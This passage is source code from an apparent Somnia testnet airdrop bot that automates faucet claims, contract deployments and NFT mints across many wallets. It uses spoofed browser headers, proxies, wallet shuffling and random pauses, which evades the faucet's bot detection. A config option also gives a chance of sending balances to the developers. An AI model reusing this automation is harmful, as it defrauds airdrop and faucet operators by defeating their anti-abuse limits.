нужно обновление 119 | return ( 120 | False, 121 | f"⚠️ Update available!\n" 122 | f"📅 Latest update released: {formatted_date}\n" 123 | f"ℹ️ To update, use: git pull\n" 124 | f"📥 Or download from: https://github.com/Dcurig/Somnia-Auto", 125 | ) 126 | 127 | except Exception as e: 128 | print(f"❌ Error comparing versions: {e}") 129 | return False, "Error comparing versions" 130 | 131 | 132 | def save_current_version(commit_hash: str, commit_date: str) -> None: 133 | """ 134 | Save current version info to version.txt 135 | """ 136 | try: 137 | version_file = os.path.join( 138 | os.path.dirname(__file__), "..", "version.txt" 139 | ) # Changed path to /src 140 | with open(version_file, "w") as f: 141 | f.write(f"{commit_hash},{commit_date}") 142 | except Exception as e: 143 | print(f"❌ Error saving version info: {e}") 144 | 145 | 146 | async def check_version(repo_owner: str, repo_name: str) -> bool: 147 | """ 148 | Main function to check versions and print status 149 | """ 150 | print("🔍 Checking version...") 151 | 152 | # Получаем информацию о последнем коммите с GitHub 153 | github_hash, github_date, commit_message = await get_github_last_commit( 154 | repo_owner, repo_name 155 | ) 156 | 157 | # Получаем локальную версию 158 | local_hash, local_date = get_local_commit_info() 159 | 160 | # Если это первый запуск 161 | if local_hash is None: 162 | save_current_version(github_hash, github_date) 163 | github_dt = datetime.fromisoformat(github_date.replace("Z", "+00:00")) 164 | formatted_date = github_dt.strftime("%d.%m.%Y %H:%M UTC") 165 | print( 166 | f"📥 Initializing version tracking...\n" 167 | f"📅 Current version from: {formatted_date} \n" 168 | f"✅ You have the latest version (commit from {formatted_date})", 169 | ) 170 | return True 171 | # Сравниваем версии 172 | is_latest, message = await compare_versions( 173 | local_date, github_date, local_hash, github_hash, commit_message 174 | ) 175 | print(message) 176 | 177 | # Если версии разные, обновляем локальную версию 178 | if not is_latest: 179 | save_current_version(github_hash, github_date) 180 | 181 | return is_latest 182 | 183 | -------------------------------------------------------------------------------- /src/model/somnia_network/faucet.py: -------------------------------------------------------------------------------- 1 | import asyncio 2 | import random 3 | from loguru import logger 4 | from eth_account import Account 5 | from src.model.help.captcha import NoCaptcha 6 | from src.model.onchain.web3_custom import Web3Custom 7 | import primp 8 | 9 | from src.utils.decorators import retry_async 10 | from src.utils.config import Config 11 | from src.model.somnia_network.constants import SomniaProtocol 12 | from src.utils.constants import EXPLORER_URL_SOMNIA 13 | 14 | 15 | class FaucetService: 16 | def __init__(self, somnia_instance: SomniaProtocol): 17 | self.somnia = somnia_instance 18 | 19 | @retry_async(default_value=False) 20 | async def request_faucet(self): 21 | try: 22 | logger.info(f"{self.somnia.account_index} | Starting faucet...") 23 | 24 | headers = { 25 | 'accept': '*/*', 26 | 'accept-language': 'en-IE,en;q=0.9', 27 | 'content-type': 'application/json', 28 | 'origin': 'https://testnet.somnia.network', 29 | 'priority': 'u=1, i', 30 | 'referer': 'https://testnet.somnia.network/', 31 | 'sec-ch-ua': '"Not(A:Brand";v="99", "Google Chrome";v="133", "Chromium";v="133"', 32 | 'sec-ch-ua-mobile': '?0', 33 | 'sec-ch-ua-platform': '"Windows"', 34 | 'sec-fetch-dest': 'empty', 35 | 'sec-fetch-mode': 'cors', 36 | 'sec-fetch-site': 'same-origin', 37 | "user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36", 38 | } 39 | 40 | json_data = { 41 | "address": self.somnia.wallet.address, 42 | } 43 | 44 | response = await self.somnia.session.post( 45 | "https://testnet.somnia.network/api/faucet", 46 | headers=headers, 47 | json=json_data, 48 | ) 49 | 50 | if "Bot detected" in response.text: 51 | logger.error(f"{self.somnia.account_index} | Your wallet is not available for the faucet. Wallet must have some transactions") 52 | return False 53 | 54 | if response.status_code != 200: 55 | raise Exception( 56 | f"failed to request faucet: {response.status_code} | {response.text}" 57 | ) 58 | 59 | if response.json()["success"]: 60 | logger.success( 61 | f"{self.somnia.account_index} | Successfully requested faucet" 62 | ) 63 | return True 64 | elif "Please wait 24 hours between requests" in response.text: 65 | logger.success( 66 | f"{self.somnia.account_index} | Wait 24 hours before next request" 67 | ) 68 | return True 69 | else: 70 | raise Exception( 71 | f"failed to request faucet: {response.status_code} | Message: {response.json()['message']} | Status: {response.json()['data']['status']}" 72 | ) 73 | 74 | except Exception as e: 75 | random_pause = random.randint( 76 | self.somnia.config.SETTINGS.PAUSE_BETWEEN_ATTEMPTS[0], 77 | self.somnia.config.SETTINGS.PAUSE_BETWEEN_ATTEMPTS[1], 78 | ) 79 | logger.error( 80 | f"{self.somnia.account_index} | Faucet error: {e}. Sleeping {random_pause} seconds..." 81 | ) 82 | await asyncio.sleep(random_pause) 83 | return False 84 | 85 | async def request_ping_pong_faucet(self): 86 | try: 87 | logger.info( 88 | f"{self.somnia.account_index} | Starting PING and PONG tokens faucet..." 89 | ) 90 | 91 | # Mint PING token first 92 | ping_address = "0x33e7fab0a8a5da1a923180989bd617c9c2d1c493" 93 | ping_result = await self._mint_token(ping_address, "PING") 94 | if not ping_result: 95 | logger.warning( 96 | f"{self.somnia.account_index} | Failed to mint PING token" 97 | ) 98 | 99 | # Add a small delay between transactions 100 | random_pause = random.randint( 101 | self.somnia.config.SETTINGS.RANDOM_PAUSE_BETWEEN_ACTIONS[0], 102 | self.somnia.config.SETTINGS.RANDOM_PAUSE_BETWEEN_ACTIONS[1], 103 | ) 104 | await asyncio.sleep(random_pause) 105 | 106 | # Then mint PONG token 107 | pong_address = "0x9beaa0016c22b646ac311ab171270b0ecf23098f" 108 | pong_result = await self._mint_token(pong_address, "PONG") 109 | if not pong_result: 110 | logger.warning( 111 | f"{self.somnia.account_index} | Failed to mint PONG token" 112 | ) 113 | 114 | # Return True if at least one of the mints succeeded 115 | return ping_result or pong_result 116 | 117 | except Exception as e: 118 | random_pause = random.randint( 119 | self.somnia.config.SETTINGS.PAUSE_BETWEEN_ATTEMPTS[0], 120 | self.somnia.config.SETTINGS.PAUSE_BETWEEN_ATTEMPTS[1], 121 | ) 122 | logger.error( 123 | f"{self.somnia.account_index} | PING/PONG Faucet error: {e}. Sleeping {random_pause} seconds..." 124 | ) 125 | await asyncio.sleep(random_pause) 126 | return False 127 | 128 | @retry_async(default_value=False) 129 | async def _mint_token(self, token_address, token_name): 130 | """Helper function to mint a specific token.""" 131 | try: 132 | logger.info(f"{self.somnia.account_index} | Minting {token_name} token...") 133 | 134 | # Convert address to checksum format 135 | checksum_address = self.somnia.web3.web3.to_checksum_address(token_address) 136 | 137 | # Mint function has method ID: 0x1249c58b 138 | mint_function_data = "0x1249c58b" # Function signature for mint() 139 | 140 | # Send transaction to call the mint() function 141 | tx_hash = await self.somnia.web3.send_transaction( 142 | to=checksum_address, 143 | data=mint_function_data, 144 | wallet=self.somnia.wallet, 145 | value=0, # No value needed for mint 146 | ) 147 | 148 | logger.success( 149 | f"{self.somnia.account_index} | Successfully minted {token_name} token. TX: {EXPLORER_URL_SOMNIA}{tx_hash}" 150 | ) 151 | return True 152 | 153 | except Exception as e: 154 | logger.error( 155 | f"{self.somnia.account_index} | Failed to mint {token_name} token: {e}" 156 | ) 157 | return False 158 | -------------------------------------------------------------------------------- /src/model/projects/deploy/onchaingm.py: -------------------------------------------------------------------------------- 1 | import asyncio 2 | import random 3 | from loguru import logger 4 | from web3 import Web3 5 | from src.model.somnia_network.constants import SomniaProtocol 6 | from src.utils.decorators import retry_async 7 | from src.utils.constants import EXPLORER_URL_SOMNIA 8 | from eth_account import Account 9 | from src.model.onchain.web3_custom import Web3Custom 10 | 11 | 12 | PAYLOAD = "0x6080604052737500a83df2af99b2755c47b6b321a8217d876a856000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550652d79883d20003410156100a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161009890610170565b60405180910390fd5b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc652d79883d20009081150290604051600060405180830381858888f1935050505015801561010d573d6000803e3d6000fd5b50610190565b600082825260208201905092915050565b7f496e73756666696369656e74206465706c6f796d656e74206665650000000000600082015250565b600061015a601b83610113565b915061016582610124565b602082019050919050565b600060208201905081810360008301526101898161014d565b9050919050565b61016b8061019f6000396000f3fe608060405234801561001057600080fd5b50600436106100365760003560e01c80634690484014610038578063a8f3225114610059575b600080fd5b610043610074565b60405161004d91906100e6565b60405180910390f35b61006161009b565b60405161006b9190610113565b60405180910390f35b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b652d79883d200081565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006100cc826100a5565b9050919050565b6100dc816100c5565b82525050565b60006020820190506100f760008301846100d7565b92915050565b6000819050919050565b61011081610101565b82525050565b600060208201905061012b6000830184610107565b9291505056fea2646970667358221220d08b6ffa72e04c90cdfb72b342dda2a82efd1b23a7f85f2c844f98cd8a915f3964736f6c63430008130033" 13 | 14 | 15 | class OnchainGM: 16 | def __init__( 17 | self, account_index: int, somnia_web3: Web3Custom, config: dict, wallet: Account 18 | ): 19 | self.account_index = account_index 20 | self.somnia_web3 = somnia_web3 21 | self.config = config 22 | self.wallet = wallet 23 | 24 | @retry_async(default_value=False) 25 | async def deploy_onchaingm(self): 26 | try: 27 | logger.info(f"{self.account_index} | Deploying OnchainGM...") 28 | # Prepare transaction 29 | transaction = { 30 | "from": self.wallet.address, 31 | "value": Web3.to_wei(0.00005, "ether"), 32 | "nonce": await self.somnia_web3.web3.eth.get_transaction_count( 33 | self.wallet.address 34 | ), 35 | "chainId": await self.somnia_web3.web3.eth.chain_id, 36 | "data": PAYLOAD, 37 | } 38 | 39 | # Get dynamic gas parameters instead of hardcoded 30 Gwei 40 | gas_params = await self.somnia_web3.get_gas_params() 41 | transaction.update(gas_params) 42 | 43 | # Estimate gas 44 | gas_limit = await self.somnia_web3.estimate_gas(transaction) 45 | transaction["gas"] = gas_limit 46 | 47 | # Execute transaction 48 | tx_hash = await self.somnia_web3.execute_transaction( 49 | transaction, 50 | self.wallet, 51 | await self.somnia_web3.web3.eth.chain_id, 52 | EXPLORER_URL_SOMNIA, 53 | ) 54 | 55 | if tx_hash: 56 | logger.success( 57 | f"{self.account_index} | Successfully deployed OnchainGM" 58 | ) 59 | 60 | return True 61 | except Exception as e: 62 | random_sleep = random.randint( 63 | self.config.SETTINGS.PAUSE_BETWEEN_ATTEMPTS[0], 64 | self.config.SETTINGS.PAUSE_BETWEEN_ATTEMPTS[1], 65 | ) 66 | logger.error( 67 | f"{self.account_index} | Error deploying OnchainGM: {e}. Sleeping for {random_sleep} seconds..." 68 | ) 69 | await asyncio.sleep(random_sleep) 70 | return False 71 | 72 | @retry_async(default_value=False) 73 | async def gm(self): 74 | try: 75 | logger.info(f"{self.account_index} | GM on OnchainGM...") 76 | 77 | # YAPPERS contract address 78 | contract_address = "0xA0692f67ffcEd633f9c5CfAefd83FC4F21973D01" 79 | 80 | # Base payload with method ID 0x84bb1e42 81 | payload = "0x5011b71c" 82 | 83 | # Prepare transaction 84 | transaction = { 85 | "from": self.wallet.address, 86 | "to": self.somnia_web3.web3.to_checksum_address(contract_address), 87 | "value": Web3.to_wei(0.000029, "ether"), 88 | "nonce": await self.somnia_web3.web3.eth.get_transaction_count( 89 | self.wallet.address 90 | ), 91 | "chainId": await self.somnia_web3.web3.eth.chain_id, 92 | "data": payload, 93 | } 94 | 95 | # Get dynamic gas parameters instead of hardcoded 30 Gwei 96 | gas_params = await self.somnia_web3.get_gas_params() 97 | transaction.update(gas_params) 98 | 99 | # Estimate gas 100 | estimated = await self.somnia_web3.web3.eth.estimate_gas(transaction) 101 | # Добавляем 10% к estimated gas для безопасности 102 | gas_limit = int(estimated * 2.2) 103 | transaction["gas"] = gas_limit 104 | 105 | # Execute transaction 106 | tx_hash = await self.somnia_web3.execute_transaction( 107 | transaction, 108 | self.wallet, 109 | await self.somnia_web3.web3.eth.chain_id, 110 | EXPLORER_URL_SOMNIA, 111 | ) 112 | 113 | if tx_hash: 114 | logger.success( 115 | f"{self.account_index} | Successfully GM on OnchainGM" 116 | ) 117 | 118 | return True 119 | except Exception as e: 120 | str_error = str(e) 121 | if "execution reverted" in str_error and "0x08c379a00000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000d5761697420323420686f75727300000000000000000000000000000000000000" in str_error: 122 | logger.success( 123 | f"{self.account_index} | Already GMed. Wait 24 hours..." 124 | ) 125 | return True 126 | 127 | random_sleep = random.randint( 128 | self.config.SETTINGS.PAUSE_BETWEEN_ATTEMPTS[0], 129 | self.config.SETTINGS.PAUSE_BETWEEN_ATTEMPTS[1], 130 | ) 131 | logger.error( 132 | f"{self.account_index} | Error GM on OnchainGM: {e}. Sleeping for {random_sleep} seconds..." 133 | ) 134 | await asyncio.sleep(random_sleep) 135 | return False -------------------------------------------------------------------------------- /src/utils/config.py: -------------------------------------------------------------------------------- 1 | from dataclasses import dataclass, field 2 | from typing import List, Tuple, Optional, Dict 3 | import yaml 4 | from pathlib import Path 5 | import asyncio 6 | 7 | 8 | @dataclass 9 | class SettingsConfig: 10 | THREADS: int 11 | ATTEMPTS: int 12 | ACCOUNTS_RANGE: Tuple[int, int] 13 | EXACT_ACCOUNTS_TO_USE: List[int] 14 | PAUSE_BETWEEN_ATTEMPTS: Tuple[int, int] 15 | PAUSE_BETWEEN_SWAPS: Tuple[int, int] 16 | RANDOM_PAUSE_BETWEEN_ACCOUNTS: Tuple[int, int] 17 | RANDOM_PAUSE_BETWEEN_ACTIONS: Tuple[int, int] 18 | RANDOM_INITIALIZATION_PAUSE: Tuple[int, int] 19 | TELEGRAM_USERS_IDS: List[int] 20 | TELEGRAM_BOT_TOKEN: str 21 | SEND_TELEGRAM_LOGS: bool 22 | SHUFFLE_WALLETS: bool 23 | 24 | 25 | @dataclass 26 | class FlowConfig: 27 | TASKS: List 28 | SKIP_FAILED_TASKS: bool 29 | 30 | 31 | @dataclass 32 | class SomniaSwapsConfig: 33 | BALANCE_PERCENT_TO_SWAP: Tuple[int, int] 34 | NUMBER_OF_SWAPS: Tuple[int, int] 35 | SWAP_ALL_TO_STT: bool 36 | 37 | @dataclass 38 | class SomniaTokenSenderConfig: 39 | BALANCE_PERCENT_TO_SEND: Tuple[float, float] 40 | NUMBER_OF_SENDS: Tuple[int, int] 41 | SEND_ALL_TO_DEVS_CHANCE: int 42 | 43 | 44 | @dataclass 45 | class SomniaCampaignsConfig: 46 | REPLACE_FAILED_TWITTER_ACCOUNT: bool 47 | 48 | 49 | @dataclass 50 | class SomniaNetworkConfig: 51 | SOMNIA_SWAPS: SomniaSwapsConfig 52 | SOMNIA_TOKEN_SENDER: SomniaTokenSenderConfig 53 | SOMNIA_CAMPAIGNS: SomniaCampaignsConfig 54 | 55 | 56 | @dataclass 57 | class RpcsConfig: 58 | SOMNIA: List[str] 59 | 60 | 61 | @dataclass 62 | class OthersConfig: 63 | SKIP_SSL_VERIFICATION: bool 64 | USE_PROXY_FOR_RPC: bool 65 | 66 | 67 | @dataclass 68 | class WalletInfo: 69 | account_index: int 70 | private_key: str 71 | address: str 72 | balance: float 73 | transactions: int 74 | 75 | 76 | @dataclass 77 | class WalletsConfig: 78 | wallets: List[WalletInfo] = field(default_factory=list) 79 | 80 | 81 | @dataclass 82 | class QuillsConfig: 83 | QUILLS_MESSAGES: List[str] = field( 84 | default_factory=lambda: [ 85 | "Hello", 86 | ] 87 | ) 88 | 89 | 90 | @dataclass 91 | class Config: 92 | SETTINGS: SettingsConfig 93 | FLOW: FlowConfig 94 | SOMNIA_NETWORK: SomniaNetworkConfig 95 | RPCS: RpcsConfig 96 | OTHERS: OthersConfig 97 | WALLETS: WalletsConfig = field(default_factory=WalletsConfig) 98 | lock: asyncio.Lock = field(default_factory=asyncio.Lock) 99 | QUILLS: QuillsConfig = field(default_factory=QuillsConfig) 100 | spare_twitter_tokens: List[str] = field(default_factory=list) 101 | 102 | @classmethod 103 | def load(cls, path: str = "config.yaml") -> "Config": 104 | """Load configuration from yaml file""" 105 | with open(path, "r", encoding="utf-8") as file: 106 | data = yaml.safe_load(file) 107 | 108 | # Load tasks from tasks.py 109 | try: 110 | import tasks 111 | 112 | if hasattr(tasks, "TASKS"): 113 | tasks_list = tasks.TASKS 114 | 115 | else: 116 | error_msg = "No TASKS list found in tasks.py" 117 | print(f"Error: {error_msg}") 118 | raise ValueError(error_msg) 119 | except ImportError as e: 120 | error_msg = f"Could not import tasks.py: {e}" 121 | print(f"Error: {error_msg}") 122 | raise ImportError(error_msg) from e 123 | 124 | return cls( 125 | SETTINGS=SettingsConfig( 126 | THREADS=data["SETTINGS"]["THREADS"], 127 | ATTEMPTS=data["SETTINGS"]["ATTEMPTS"], 128 | ACCOUNTS_RANGE=tuple(data["SETTINGS"]["ACCOUNTS_RANGE"]), 129 | EXACT_ACCOUNTS_TO_USE=data["SETTINGS"]["EXACT_ACCOUNTS_TO_USE"], 130 | PAUSE_BETWEEN_ATTEMPTS=tuple( 131 | data["SETTINGS"]["PAUSE_BETWEEN_ATTEMPTS"] 132 | ), 133 | PAUSE_BETWEEN_SWAPS=tuple(data["SETTINGS"]["PAUSE_BETWEEN_SWAPS"]), 134 | RANDOM_PAUSE_BETWEEN_ACCOUNTS=tuple( 135 | data["SETTINGS"]["RANDOM_PAUSE_BETWEEN_ACCOUNTS"] 136 | ), 137 | RANDOM_PAUSE_BETWEEN_ACTIONS=tuple( 138 | data["SETTINGS"]["RANDOM_PAUSE_BETWEEN_ACTIONS"] 139 | ), 140 | RANDOM_INITIALIZATION_PAUSE=tuple( 141 | data["SETTINGS"]["RANDOM_INITIALIZATION_PAUSE"] 142 | ), 143 | TELEGRAM_USERS_IDS=data["SETTINGS"]["TELEGRAM_USERS_IDS"], 144 | TELEGRAM_BOT_TOKEN=data["SETTINGS"]["TELEGRAM_BOT_TOKEN"], 145 | SEND_TELEGRAM_LOGS=data["SETTINGS"]["SEND_TELEGRAM_LOGS"], 146 | SHUFFLE_WALLETS=data["SETTINGS"].get("SHUFFLE_WALLETS", True), 147 | ), 148 | FLOW=FlowConfig( 149 | TASKS=tasks_list, 150 | SKIP_FAILED_TASKS=data["FLOW"]["SKIP_FAILED_TASKS"], 151 | ), 152 | SOMNIA_NETWORK=SomniaNetworkConfig( 153 | SOMNIA_SWAPS=SomniaSwapsConfig( 154 | BALANCE_PERCENT_TO_SWAP=tuple( 155 | data["SOMNIA_NETWORK"]["SOMNIA_SWAPS"][ 156 | "BALANCE_PERCENT_TO_SWAP" 157 | ] 158 | ), 159 | NUMBER_OF_SWAPS=tuple( 160 | data["SOMNIA_NETWORK"]["SOMNIA_SWAPS"]["NUMBER_OF_SWAPS"] 161 | ), 162 | SWAP_ALL_TO_STT=data["SOMNIA_NETWORK"]["SOMNIA_SWAPS"]["SWAP_ALL_TO_STT"], 163 | ), 164 | SOMNIA_TOKEN_SENDER=SomniaTokenSenderConfig( 165 | BALANCE_PERCENT_TO_SEND=tuple( 166 | data["SOMNIA_NETWORK"]["SOMNIA_TOKEN_SENDER"][ 167 | "BALANCE_PERCENT_TO_SEND" 168 | ] 169 | ), 170 | NUMBER_OF_SENDS=tuple( 171 | data["SOMNIA_NETWORK"]["SOMNIA_TOKEN_SENDER"]["NUMBER_OF_SENDS"] 172 | ), 173 | SEND_ALL_TO_DEVS_CHANCE=data["SOMNIA_NETWORK"][ 174 | "SOMNIA_TOKEN_SENDER" 175 | ]["SEND_ALL_TO_DEVS_CHANCE"], 176 | ), 177 | SOMNIA_CAMPAIGNS=SomniaCampaignsConfig( 178 | REPLACE_FAILED_TWITTER_ACCOUNT=data["SOMNIA_NETWORK"][ 179 | "SOMNIA_CAMPAIGNS" 180 | ]["REPLACE_FAILED_TWITTER_ACCOUNT"], 181 | ), 182 | ), 183 | RPCS=RpcsConfig( 184 | SOMNIA=data["RPCS"]["SOMNIA"], 185 | ), 186 | OTHERS=OthersConfig( 187 | SKIP_SSL_VERIFICATION=data["OTHERS"]["SKIP_SSL_VERIFICATION"], 188 | USE_PROXY_FOR_RPC=data["OTHERS"]["USE_PROXY_FOR_RPC"], 189 | ), 190 | ) 191 | 192 | 193 | # Singleton pattern 194 | def get_config() -> Config: 195 | """Get configuration singleton""" 196 | if not hasattr(get_config, "_config"): 197 | get_config._config = Config.load() 198 | return get_config._config 199 | -------------------------------------------------------------------------------- /src/utils/proxy_parser.py: -------------------------------------------------------------------------------- 1 | import re 2 | import random 3 | import string 4 | from pathlib import Path 5 | from typing import Literal, TypedDict, Union 6 | 7 | from pydantic import BaseModel, Field, field_validator 8 | from pydantic.networks import HttpUrl, IPv4Address 9 | 10 | 11 | Protocol = Literal["http", "https"] 12 | PROXY_FORMATS_REGEXP = [ 13 | re.compile( 14 | r"^(?:(?P.+)://)?" # Опционально: протокол 15 | r"(?P[^@:]+)" # Логин (не содержит ':' или '@') 16 | r":(?P[^@]+)" # Пароль (может содержать ':', но не '@') 17 | r"[@:]" # Символ '@' или ':' как разделитель 18 | r"(?P[^@:\s]+)" # Хост (не содержит ':' или '@') 19 | r":(?P\d{1,5})" # Порт: от 1 до 5 цифр 20 | r"(?:\[(?Phttps?://[^\s\]]+)\])?$" # Опционально: [refresh_url] 21 | ), 22 | re.compile( 23 | r"^(?:(?P.+)://)?" # Опционально: протокол 24 | r"(?P[^@:\s]+)" # Хост (не содержит ':' или '@') 25 | r":(?P\d{1,5})" # Порт: от 1 до 5 цифр 26 | r"[@:]" # Символ '@' или ':' как разделитель 27 | r"(?P[^@:]+)" # Логин (не содержит ':' или '@') 28 | r":(?P[^@]+)" # Пароль (может содержать ':', но не '@') 29 | r"(?:\[(?Phttps?://[^\s\]]+)\])?$" # Опционально: [refresh_url] 30 | ), 31 | re.compile( 32 | r"^(?:(?P.+)://)?" # Опционально: протокол 33 | r"(?P[^@:\s]+)" # Хост (не содержит ':' или '@') 34 | r":(?P\d{1,5})" # Порт: от 1 до 5 цифр 35 | r"(?:\[(?Phttps?://[^\s\]]+)\])?$" # Опционально: [refresh_url] 36 | ), 37 | ] 38 | 39 | 40 | class ParsedProxy(TypedDict): 41 | host: str 42 | port: int 43 | protocol: Protocol | None 44 | login: str | None 45 | password: str | None 46 | refresh_url: str | None 47 | 48 | 49 | def parse_proxy_str(proxy: str) -> ParsedProxy: 50 | if not proxy: 51 | raise ValueError(f"Proxy cannot be an empty string") 52 | 53 | for pattern in PROXY_FORMATS_REGEXP: 54 | match = pattern.match(proxy) 55 | if match: 56 | groups = match.groupdict() 57 | return { 58 | "host": groups["host"], 59 | "port": int(groups["port"]), 60 | "protocol": groups.get("protocol"), 61 | "login": groups.get("login"), 62 | "password": groups.get("password"), 63 | "refresh_url": groups.get("refresh_url"), 64 | } 65 | 66 | raise ValueError(f"Unsupported proxy format: '{proxy}'") 67 | 68 | 69 | def _load_lines(filepath: Path | str) -> list[str]: 70 | with open(filepath, "r") as file: 71 | return [line.strip() for line in file.readlines() if line != "\n"] 72 | 73 | 74 | class PlaywrightProxySettings(TypedDict, total=False): 75 | server: str 76 | bypass: str | None 77 | username: str | None 78 | password: str | None 79 | 80 | 81 | class Proxy(BaseModel): 82 | host: str 83 | port: int = Field(gt=0, le=65535) 84 | protocol: Protocol = "http" 85 | login: str | None = None 86 | password: str | None = None 87 | refresh_url: str | None = None 88 | 89 | @field_validator("host") 90 | def host_validator(cls, v): 91 | if v.replace(".", "").isdigit(): 92 | IPv4Address(v) 93 | else: 94 | HttpUrl(f"http://{v}") 95 | return v 96 | 97 | @field_validator("refresh_url") 98 | def refresh_url_validator(cls, v): 99 | if v: 100 | HttpUrl(v) 101 | return v 102 | 103 | @field_validator("protocol") 104 | def protocol_validator(cls, v): 105 | if v not in ["http", "https"]: 106 | raise ValueError("Only http and https protocols are supported") 107 | return v 108 | 109 | @classmethod 110 | def from_str(cls, proxy: Union[str, "Proxy"]) -> "Proxy": 111 | if proxy is None: 112 | raise ValueError("Proxy cannot be None") 113 | 114 | if isinstance(proxy, (cls, Proxy)): 115 | return proxy 116 | 117 | parsed_proxy = parse_proxy_str(proxy) 118 | parsed_proxy["protocol"] = parsed_proxy["protocol"] or "http" 119 | return cls(**parsed_proxy) 120 | 121 | @classmethod 122 | def from_file(cls, filepath: Path | str) -> list["Proxy"]: 123 | path = Path(filepath) 124 | if not path.exists(): 125 | raise FileNotFoundError(f"Proxy file not found: {filepath}") 126 | return [cls.from_str(proxy) for proxy in _load_lines(path)] 127 | 128 | @property 129 | def as_url(self) -> str: 130 | return ( 131 | f"{self.protocol}://" 132 | + (f"{self.login}:{self.password}@" if self.login and self.password else "") 133 | + f"{self.host}:{self.port}" 134 | ) 135 | 136 | @property 137 | def server(self) -> str: 138 | return f"{self.protocol}://{self.host}:{self.port}" 139 | 140 | @property 141 | def as_playwright_proxy(self) -> PlaywrightProxySettings: 142 | return PlaywrightProxySettings( 143 | server=self.server, 144 | password=self.password, 145 | username=self.login, 146 | ) 147 | 148 | @property 149 | def as_proxies_dict(self) -> dict: 150 | """Returns a dictionary of proxy settings in a format that can be used with the `requests` library. 151 | 152 | The dictionary will have the following format: 153 | 154 | - If the proxy protocol is "http", "https", or not specified, the dictionary will have the keys "http" and "https" with the proxy URL as the value. 155 | - If the proxy protocol is a different protocol (e.g., "socks5"), the dictionary will have a single key with the protocol name and the proxy URL as the value. 156 | """ 157 | proxies = {} 158 | if self.protocol in ("http", "https", None): 159 | proxies["http"] = self.as_url 160 | proxies["https"] = self.as_url 161 | elif self.protocol: 162 | proxies[self.protocol] = self.as_url 163 | return proxies 164 | 165 | @property 166 | def fixed_length(self) -> str: 167 | return f"[{self.host:>15}:{str(self.port):<5}]".replace(" ", "_") 168 | 169 | def __repr__(self): 170 | if self.refresh_url: 171 | return f"Proxy({self.as_url}, [{self.refresh_url}])" 172 | 173 | return f"Proxy({self.as_url})" 174 | 175 | def __str__(self) -> str: 176 | return self.as_url 177 | 178 | def __hash__(self): 179 | return hash( 180 | ( 181 | self.host, 182 | self.port, 183 | self.protocol, 184 | self.login, 185 | self.password, 186 | self.refresh_url, 187 | ) 188 | ) 189 | 190 | def __eq__(self, other): 191 | if isinstance(other, Proxy): 192 | return ( 193 | self.host == other.host 194 | and self.port == other.port 195 | and self.protocol == other.protocol 196 | and self.login == other.login 197 | and self.password == other.password 198 | and self.refresh_url == other.refresh_url 199 | ) 200 | return False 201 | 202 | def get_default_format(self) -> str: 203 | """Returns proxy string in format user:pass@ip:port""" 204 | if not (self.login and self.password): 205 | raise ValueError("Proxy must have login and password") 206 | return f"{self.login}:{self.password}@{self.host}:{self.port}" 207 | -------------------------------------------------------------------------------- /src/model/projects/mints/nerzo.py: -------------------------------------------------------------------------------- 1 | import asyncio 2 | import random 3 | from loguru import logger 4 | from web3 import Web3 5 | from src.model.somnia_network.constants import SomniaProtocol 6 | from src.utils.decorators import retry_async 7 | from src.utils.constants import EXPLORER_URL_SOMNIA 8 | from eth_account import Account 9 | from src.model.onchain.web3_custom import Web3Custom 10 | 11 | 12 | class Nerzo: 13 | def __init__( 14 | self, account_index: int, somnia_web3: Web3Custom, config: dict, wallet: Account 15 | ): 16 | self.account_index = account_index 17 | self.somnia_web3 = somnia_web3 18 | self.config = config 19 | self.wallet = wallet 20 | 21 | @retry_async(default_value=False) 22 | async def mint_nee(self): 23 | try: 24 | logger.info(f"{self.account_index} | Minting NEE NFT on Nerzo...") 25 | 26 | # NEE contract address 27 | contract_address = "0x939cCD6129561EFcBE8402a7159C1c09b9D34231" 28 | 29 | # Wallet address without 0x prefix in lowercase 30 | wallet_address_no_prefix = self.wallet.address[2:].lower() 31 | 32 | # Base payload with method ID 0x84bb1e42 33 | payload = ( 34 | "0x84bb1e42" 35 | "000000000000000000000000" 36 | + wallet_address_no_prefix 37 | + "0000000000000000000000000000000000000000000000000000000000000001" 38 | "000000000000000000000000eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee" 39 | "0000000000000000000000000000000000000000000000000000000000000000" 40 | "00000000000000000000000000000000000000000000000000000000000000c0" 41 | "0000000000000000000000000000000000000000000000000000000000000160" 42 | "0000000000000000000000000000000000000000000000000000000000000080" 43 | "0000000000000000000000000000000000000000000000000000000000000000" 44 | "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff" 45 | "0000000000000000000000000000000000000000000000000000000000000000" 46 | "0000000000000000000000000000000000000000000000000000000000000000" 47 | "0000000000000000000000000000000000000000000000000000000000000000" 48 | ) 49 | 50 | # Prepare transaction 51 | transaction = { 52 | "from": self.wallet.address, 53 | "to": self.somnia_web3.web3.to_checksum_address(contract_address), 54 | "value": 0, # 0 STT as in the example transaction 55 | "nonce": await self.somnia_web3.web3.eth.get_transaction_count( 56 | self.wallet.address 57 | ), 58 | "chainId": await self.somnia_web3.web3.eth.chain_id, 59 | "data": payload, 60 | } 61 | 62 | # Get dynamic gas parameters instead of hardcoded 30 Gwei 63 | gas_params = await self.somnia_web3.get_gas_params() 64 | transaction.update(gas_params) 65 | 66 | # Estimate gas 67 | gas_limit = await self.somnia_web3.estimate_gas(transaction) 68 | transaction["gas"] = gas_limit 69 | 70 | # Execute transaction 71 | tx_hash = await self.somnia_web3.execute_transaction( 72 | transaction, 73 | self.wallet, 74 | await self.somnia_web3.web3.eth.chain_id, 75 | EXPLORER_URL_SOMNIA, 76 | ) 77 | 78 | if tx_hash: 79 | logger.success(f"{self.account_index} | Successfully minted NEE NFT") 80 | 81 | return True 82 | except Exception as e: 83 | random_sleep = random.randint( 84 | self.config.SETTINGS.PAUSE_BETWEEN_ATTEMPTS[0], 85 | self.config.SETTINGS.PAUSE_BETWEEN_ATTEMPTS[1], 86 | ) 87 | logger.error( 88 | f"{self.account_index} | Error minting NEE 